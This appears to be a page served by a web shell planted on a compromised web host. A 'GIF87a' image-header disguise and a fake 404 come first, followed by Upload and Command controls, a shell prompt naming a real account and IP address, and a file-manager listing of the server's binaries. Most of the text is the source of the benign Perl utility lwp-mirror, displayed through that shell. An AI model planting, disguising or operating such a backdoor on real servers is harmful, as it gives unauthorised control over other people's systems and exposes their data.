GIF87a; 404

MY HEART

Upload:

Command:

diavoloapp@3.138.121.183: ~ $ 
#!/usr/bin/perl

eval 'exec /usr/bin/perl  -S $0 ${1+"$@"}'
    if 0; # not running under some shell

# Simple mirror utility using LWP

=head1 NAME

lwp-mirror - Simple mirror utility

=head1 SYNOPSIS

 lwp-mirror [-v] [-t timeout] <url> <local file>

=head1 DESCRIPTION

This program can be used to mirror a document from a WWW server.  The
document is only transferred if the remote copy is newer than the local
copy.  If the local copy is newer nothing happens.

Use the C<-v> option to print the version number of this program.

The timeout value specified with the C<-t> option.  The timeout value
is the time that the program will wait for response from the remote
server before it fails.  The default unit for the timeout value is
seconds.  You might append "m" or "h" to the timeout value to make it
minutes or hours, respectively.

Because this program is implemented using the LWP library, it only
supports the protocols that LWP supports.

=head1 SEE ALSO

L<lwp-request>, L<LWP>

=head1 AUTHOR

Gisle Aas <gisle@aas.no>

=cut

use strict;
use warnings;
use LWP::Simple qw(mirror is_success status_message $ua);
use Getopt::Long qw(GetOptions);
use Encode;
use Encode::Locale;

my $progname = $0;
$progname =~ s,.*/,,;       # use basename only
$progname =~ s/\.\w*$//;    #strip extension if any

my %opts;
unless (GetOptions(\%opts, 'h', 'v', 't=i')) {
    usage();
}

if ($opts{v}) {
    require LWP;
    my $DISTNAME = 'libwww-perl-' . $LWP::VERSION;
    die <<"EOT";
This is lwp-mirror version $LWP::Simple::VERSION ($DISTNAME)

Copyright 1995-1999, Gisle Aas.

This program is free software; you can redistribute it and/or
modify it under the same terms as Perl itself.
EOT
}

my $url = decode(locale => shift) or usage();
my $file = encode(locale_fs => decode(locale => shift)) or usage();
usage() if $opts{h} or @ARGV;

if ($opts{t}) {
    if ($opts{t} =~ /^(\d+)([smh])?/) {
        my $timeout = $1;
        $timeout *= 60   if ($2 eq "m");
        $timeout *= 3600 if ($2 eq "h");
        $ua->timeout($timeout);
    }
    else {
        die "$progname: Illegal timeout value!\n";
    }
}

my $rc = mirror($url, $file);

if ($rc == 304) {
    print STDERR "$progname: $file is up to date\n";
}
elsif (!is_success($rc)) {
    print STDERR "$progname: $rc ", status_message($rc), "   ($url)\n";
    exit 1;
}
exit;


sub usage {
    die <<"EOT";
Usage: $progname [-options] <url> <file>
    -v           print version number of program
    -t <timeout> Set timeout value
EOT
}

Filemanager

DIR : / usr/ local/ bin/
Name Type Size Permission Actions
config_data File 6.97 KB 0555
corelist File 14.73 KB 0555
cpanm File 295.76 KB 0555
crontab File 1.81 MB 0755
ea-php56 File 4.03 MB 0755
ea-php70 File 3.91 MB 0755
ea-php71 File 4.08 MB 0755
ea-php72 File 4.32 MB 0755
ea-php73 File 4.71 MB 0755
ea-php74 File 6.09 MB 0755
ea_convert_php_ini File 39.85 KB 0755
ea_current_to_profile File 8.31 KB 0755
ea_install_profile File 7.1 KB 0755
ea_sync_user_phpini_settings File 6.73 KB 0755
htmltree File 1.23 KB 0555
json_pp File 4.86 KB 0555
lsphp File 937 B 0755
lwp-download File 10.13 KB 0555
lwp-dump File 2.73 KB 0555
lwp-mirror File 2.44 KB 0555
lwp-request File 15.9 KB 0555
mech-dump File 4.83 KB 0555
passwd File 3.47 MB 0755
pear File 935 B 0755
php File 933 B 0755
prove File 13.33 KB 0555
tt-render File 101 B 0555
use-devel-checklib File 2.8 KB 0555
wp-toolkit File 167 B 0700